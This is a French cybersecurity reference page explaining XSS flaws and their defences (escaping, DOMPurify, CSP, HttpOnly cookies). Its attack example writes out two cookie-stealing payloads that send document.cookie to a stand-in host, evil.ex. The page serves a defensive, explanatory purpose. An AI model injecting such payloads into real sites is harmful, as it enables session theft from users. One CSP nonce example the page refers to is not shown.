AccueilExplorerIndex A–ZMenaces
CODEX / CYBERSÉCURITÉ / FAILLE XSS

Faille XSS

Danger critiqueSynthèseMAJ 2026-10-09 · #xss #web #injection #owasp

Cross-Site Scripting : injecter du JavaScript dans la page d'un autre. Vol de session, défiguration, actions pirates.

⚠ Fiche danger. Contenu documenté à but défensif. Toute attaque non autorisée contre un système est illégale (art. 323-1 et s. Code pénal).

Mécanisme

Une XSS survient quand une application réinjecte une entrée utilisateur dans le HTML sans échappement. Le navigateur exécute alors le code de l'attaquant dans le contexte du site victime : lecture de données, actions au nom de l'utilisateur, keylogging.

TypeOù vit le payloadExemple
RéfléchieURL / réponse immédiateLien piégé
StockéeBase de donnéesCommentaire vérolé
DOM-basedJS côté clientlocation.hash

Exemple d'attaque

Deux cas très différents :

  • Injection côté serveur : le commentaire est soudé tel quel dans le HTML renvoyé — un <script> classique s'exécute au chargement de la page.
  • Injection via innerHTML : attention, un <script> inséré ainsi ne s'exécute pas (c'est la spécification HTML). L'attaquant utilise un vecteur événementiel :
◉ html
<!-- Commentaire attaquant, inséré via innerHTML -->
<img src="x" onerror="fetch('https://evil.ex/?c='+document.cookie)">

<!-- Variante serveur (soudée au HTML) : le script, lui, s'exécute -->
<script>fetch('https://evil.ex/?c='+document.cookie)</script>

Parades

  • textContent plutôt que innerHTML, systématiquement, pour insérer du texte.
  • HTML riche indispensable (éditeur, commentaires formatés) ? Assainissez avec DOMPurify avant insertion — jamais de HTML brut.
  • Méfiez-vous des trappes des frameworks : dangerouslySetInnerHTML (React), v-html (Vue). L'échappement par défaut ne vous y protège pas.
  • CSP stricte : script-src avec nonces ou hashes, plus 'strict-dynamic' (voir la fiche Content Security Policy). Un simple 'self' ne suffit pas : contournable si un JavaScript téléversable existe sur votre domaine. (Ci-dessus, 'nonce-r4nd0m' est un exemple : en production, nonce aléatoire d'au moins 128 bits, régénéré à chaque réponse.)
  • Auditez avec OWASP ZAP / Burp Suite en relisant chaque sink (innerHTML, document.write, eval).
✔ Limiter l'impact (sans empêcher la faille) : cookies de session en HttpOnly; Secure; SameSite=Lax. Cela bloque le vol via document.cookie — mais pas les actions exécutées au nom de la victime connectée.